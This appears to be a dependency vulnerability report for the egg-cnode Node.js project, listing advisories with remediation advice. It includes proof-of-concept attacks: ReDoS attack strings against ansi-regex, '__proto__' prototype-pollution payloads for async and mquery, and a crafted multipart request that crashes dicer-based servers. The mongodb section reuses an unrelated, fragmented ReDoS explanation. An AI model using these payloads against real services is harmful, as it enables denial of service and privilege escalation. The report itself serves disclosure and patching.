Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1

…and 129 more

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*.

PoC

import ansiRegex from 'ansi-regex';

for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*10000);
    ansiRegex().test(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

A The string must start with the letter 'A'
(B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

CCC
CC+C
C+CC
C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String	Number of C's	Number of steps
ACCCX	3	38
ACCCCX	4	71
ACCCCCX	5	136
ACCCCCCCCCCCCCCX	14	65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade ansi-regex to version 3.0.1, 4.1.1, 5.0.1, 6.0.1 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

high severity

Prototype Pollution

Vulnerable module: async
Introduced through: egg-mongoose@2.2.1

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › egg-mongoose@2.2.1 › mongoose@4.13.21 › async@2.6.0

Remediation: Upgrade to egg-mongoose@3.0.0.

Overview

Affected versions of this package are vulnerable to Prototype Pollution via the mapValues() method, due to improper check in createObjectIterator function.

PoC

//when objects are parsed, all properties are created as own (the objects can come from outside sources (http requests/ file))
const hasOwn = JSON.parse('{"__proto__": {"isAdmin": true}}');

//does not have the property,  because it's inside object's own "__proto__"
console.log(hasOwn.isAdmin);

async.mapValues(hasOwn, (val, key, cb) => cb(null, val), (error, result) => {
  // after the method executes, hasOwn.__proto__ value (isAdmin: true) replaces the prototype of the newly created object, leading to potential exploits.
  console.log(result.isAdmin);
});

Details

There are two main ways in which the pollution of prototypes occurs:

Unsafe Object recursive merge
Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`). The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

Application server
Web server
Web browser

How to prevent

Freeze the prototype— use Object.freeze (Object.prototype).
Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade async to version 2.6.4, 3.2.2 or higher.

References

Prototype Pollution vulnerability report

high severity

Denial of Service (DoS)

Vulnerable module: dicer
Introduced through: egg@2.37.0

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › egg@2.37.0 › egg-multipart@2.13.1 › co-busboy@1.5.0 › busboy@0.2.14 › dicer@0.2.5

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS). A malicious attacker can send a modified form to server, and crash the nodejs service. An attacker could sent the payload again and again so that the service continuously crashes.

PoC

await fetch('http://127.0.0.1:8000', { method: 'POST', headers: { ['content-type']: 'multipart/form-data; boundary=----WebKitFormBoundaryoo6vortfDzBsDiro', ['content-length']: '145', connection: 'keep-alive', }, body: '------WebKitFormBoundaryoo6vortfDzBsDiro\r\n Content-Disposition: form-data; name="bildbeschreibung"\r\n\r\n\r\n------WebKitFormBoundaryoo6vortfDzBsDiro--' });

Remediation

There is no fixed version for dicer.

References

Denial of Service (DoS) vulnerability report

high severity

Infinite loop

Vulnerable module: markdown-it
Introduced through: markdown-it@8.4.2

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › markdown-it@8.4.2

Remediation: Upgrade to markdown-it@13.0.2.

Overview

markdown-it is a modern pluggable markdown parser.

Affected versions of this package are vulnerable to Infinite loop in linkify inline rule when using malformed input.

Remediation

Upgrade markdown-it to version 13.0.2 or higher.

References

Infinite loop vulnerability report

high severity

Denial of Service (DoS)

Vulnerable module: mongodb
Introduced through: egg-mongoose@2.2.1

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › egg-mongoose@2.2.1 › mongoose@4.13.21 › mongodb@2.2.34

Remediation: Upgrade to egg-mongoose@3.0.0.

Overview

mongodb is an official MongoDB driver for Node.js.

Affected versions of this package are vulnerable to Denial of Service (DoS). The package fails to properly catch an exception when a collection name is invalid and the DB does not exist, crashing the application.

Details

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

A The string must start with the letter 'A'
(B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

CCC
CC+C
C+CC
C+C+C.

From there, the number of steps the engine must use to validate a string just continues to grow.

String	Number of C's	Number of steps
ACCCX	3	38
ACCCCX	4	71
ACCCCCX	5	136
ACCCCCCCCCCCCCCX	14	65,553

Remediation

Upgrade mongodb to version 3.1.13 or higher.

References

NPM Security Advisory

Denial of Service (DoS) vulnerability report

high severity

Prototype Pollution

Vulnerable module: mquery
Introduced through: egg-mongoose@2.2.1

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › egg-mongoose@2.2.1 › mongoose@4.13.21 › mquery@2.3.3

Remediation: Upgrade to egg-mongoose@3.0.0.

Overview

mquery is an Expressive query building for MongoDB

Affected versions of this package are vulnerable to Prototype Pollution via the mergeClone() function.

PoC by zhou, peng

mquery = require('mquery');
var malicious_payload = '{"__proto__":{"polluted":"HACKED"}}';
console.log('Before:', {}.polluted); // undefined
mquery.utils.mergeClone({}, JSON.parse(malicious_payload));
console.log('After:', {}.polluted); // HACKED

Details

There are two main ways in which the pollution of prototypes occurs:

Unsafe Object recursive merge
Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
